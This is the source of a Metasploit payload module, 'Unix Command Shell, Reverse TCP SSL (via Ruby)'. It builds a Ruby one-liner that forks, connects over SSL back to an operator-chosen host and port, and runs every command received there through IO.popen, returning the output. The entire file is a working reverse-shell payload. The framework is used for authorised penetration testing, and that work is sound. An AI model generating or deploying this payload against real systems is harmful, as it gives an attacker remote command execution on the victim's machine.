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reverse_ruby_ssl.rb
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reverse_ruby_ssl.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 185
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Reverse TCP SSL (via Ruby)',
'Description' => 'Connect back and create a command shell via Ruby, uses SSL',
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'ruby',
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
))
register_advanced_options(
[
OptString.new('RubyPath', [true, 'The path to the Ruby executable', 'ruby'])
]
)
end
def generate(_opts = {})
vprint_good(command_string)
return super + command_string
end
def command_string
lhost = datastore['LHOST']
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
res = "#{datastore['RubyPath']} -rsocket -ropenssl -e 'exit if fork;c=OpenSSL::SSL::SSLSocket.new"
res << "(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while"
res << "(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end'"
return res
end
end